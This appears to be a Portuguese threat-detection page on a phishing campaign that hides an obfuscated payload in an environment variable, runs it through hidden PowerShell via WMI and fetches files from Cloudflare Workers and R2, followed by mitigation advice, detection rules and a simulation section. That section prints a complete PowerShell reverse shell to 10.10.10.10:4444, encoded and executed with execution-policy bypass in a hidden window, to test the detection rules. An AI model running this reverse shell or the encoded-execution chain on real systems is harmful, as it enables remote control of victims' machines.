O Retorno do Maligno Fundo MSI
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um e-mail de phishing contendo um link do WeTransfer entrega um arquivo JavaScript que armazena uma carga útil ofuscada dentro de uma variável de ambiente. Essa carga útil é posteriormente decodificada e executada via PowerShell lançado via WMI, que baixa uma imagem maliciosa JPEG no estilo MSI e uma DLL .NET do Cloudflare Workers e do armazenamento R2. A DLL é uma versão modificada de Microsoft.Win32.TaskScheduler usada para carregar cargas úteis subsequentes e possivelmente criar persistência através de tarefas agendadas. A campanha destaca como atores de ameaça continuam a abusar de serviços legítimos em nuvem para hospedar e distribuir componentes maliciosos.
Investigação
O analista identificou um arquivo JavaScript inicial chamado Remittance Advice.js contendo código ofuscado por ROT13 que cria a variável de ambiente INTERNAL_DB_CACHE . O PowerShell é então lançado em uma janela oculta via WMI e executa o bloco de script decodificado. Esse script recupera um arquivo JPEG de um subdomínio workers.dev e um arquivo PNG de um bucket público r2.dev , ambos provavelmente usados para transportar cargas adicionais através de métodos esteganográficos. O componente da última etapa é uma DLL .NET derivada da biblioteca de código aberto TaskScheduler.
Mitigação
As organizações devem bloquear o acesso a domínios maliciosos conhecidos, como we.tl, workers.dev, e r2.dev no nível do firewall ou proxy. A execução do PowerShell e a criação de processos baseados em WMI devem ser restritas para usuários não confiáveis sempre que possível. Os defensores também devem monitorar a execução oculta do PowerShell, abuso do método Win32_Process.Create , e variáveis de ambiente incomuns como INTERNAL_DB_CACHE. Arquivos baixados de armazenamento público em nuvem devem ser submetidos a validação e inspeção rigorosas.
Resposta
As equipes de segurança devem alertar quando o PowerShell for iniciado com uma janela oculta através do WMI e quando a variável INTERNAL_DB_CACHE for criada ou modificada. Qualquer processo que se conecte às URLs identificadas ou baixe conteúdo de workers.dev or r2.dev deve ser investigado imediatamente. A análise forense deve se concentrar em localizar a DLL .NET maliciosa e identificar tarefas agendadas recém-criadas que dependem da biblioteca TaskScheduler. Hosts afetados devem ser remediados prontamente e o conteúdo de detecção deve ser atualizado com os indicadores observados.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[“<b>Ação</b> – <b>T1566.002 Phishing: Link de spearphishing</b><br/><b>Descrição</b>: Envia um e-mail com um link malicioso do WeTransfer para as vítimas”] class action_phishing action tool_js[“<b>Ferramenta</b> – <b>Payload JavaScript</b><br/><b>Técnicas</b>: T1027.008 Ficheiros ou informações ofuscadas, T1132 Codificação de dados<br/><b>Descrição</b>: Executa e define uma variável de ambiente contendo um payload ROT13/Base64 modificado”] class tool_js tool process_wmi_ps[“<b>Processo</b> – <b>PowerShell via WMI</b><br/><b>Técnicas</b>: T1216 Execução por proxy de binário assinado, T1036.009 Mascaramento, T1564.010 Ocultar artefactos<br/><b>Descrição</b>: Inicia um processo PowerShell oculto através de WMI”] class process_wmi_ps process malware_taskdll[“<b>Malware</b> – <b>DLL .NET TaskScheduler</b><br/><b>Técnica</b>: T1127.003 Execução por proxy através de utilitários de desenvolvimento confiáveis<br/><b>Descrição</b>: Carrega o payload descodificado como uma DLL .NET e regista-o no Agendador de Tarefas”] class malware_taskdll malware tool_downloader[“<b>Ferramenta</b> – <b>Downloader</b><br/><b>Técnicas</b>: T1578 Aquisição de infraestrutura, T1538 Dados de armazenamento em nuvem, T1537 Transferência de dados para conta na nuvem<br/><b>Descrição</b>: Obtém ficheiros adicionais a partir do Cloudflare Workers e armazenamento R2”] class tool_downloader tool file_png[“<b>Ficheiro</b> – <b>PNG esteganográfico</b><br/><b>Descrição</b>: Imagem PNG contendo dados ocultos que são posteriormente processados”] class file_png file %% Connections showing attack flow action_phishing –>|entrega| tool_js tool_js –>|executa_e_define| process_wmi_ps process_wmi_ps –>|inicia| malware_taskdll malware_taskdll –>|carrega| tool_downloader tool_downloader –>|obtém| file_png
Fluxo de Ataque
Detecções
A Possibilidade de Execução Através de Linhas de Comando do PowerShell Oculto (via cmdline)
Ver
LOLBAS WScript / CScript (via process_creation)
Ver
Possível Abuso de Domínio de Desenvolvimento Cloudflare (via dns)
Ver
Variável de Ambiente do PowerShell com Execução de Carga Útil Codificada [Windows Powershell]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo da Telemetria e linha de base deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
O atacante primeiro injeta uma carga útil PowerShell codificada em base64 em uma variável de ambiente no nível do processo chamadaINTERNAL_DB_CACHE. Essa carga útil, quando decodificada, lança um shell reverso. O atacante então invoca um segundo processo PowerShell que lê a variável e a executa viaScriptBlock::Create, mantendo assim o comando malicioso fora da linha de comando imediata. Essa abordagem de “viver da terra” evita a detecção por assinatura estática e aproveita o padrão de dois passos que a regra é projetada para detectar.-
Etapa 1 – Codificar carga útil e armazenar em variável de ambiente
$payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") -
Etapa 2 – Executar a carga codificada da variável de ambiente
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
-
-
Script de Teste de Regressão: O script abaixo automatiza os dois passos, captura timestamps para correlação e insere uma pequena pausa para permitir que o primeiro processo termine antes do segundo começar.
# ---------------------------------------------- # Simulação de PowerShell de carga codificada em var ambiente # ---------------------------------------------- # Passo 1 – Codifique uma carga de shell reverso inofensiva (substitua pelo seu endereço C2) $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep' # Pequena carga benigna para teste seguro $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") Write-Host "[*] Variável de ambiente INTERNAL_DB_CACHE definida." # Pequena pausa para garantir que o primeiro comando seja registrado Start-Sleep -Seconds 2 # Passo 2 – Execute a carga da variável powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ` Write-Host "[*] Execução de carga acionada." -
Comandos de Limpeza: Remova a variável de ambiente temporária e termine quaisquer processos remanescentes criados durante o teste.
# Remova a variável de ambiente de teste [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process") Write-Host "[*] LIMPEZA – INTERNAL_DB_CACHE removido." # Certifique-se de que não restem instâncias órfãs do powershell.exe (exclua a sessão atual) Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force Write-Host "[*] LIMPEZA – processos do PowerShell órfãos terminados."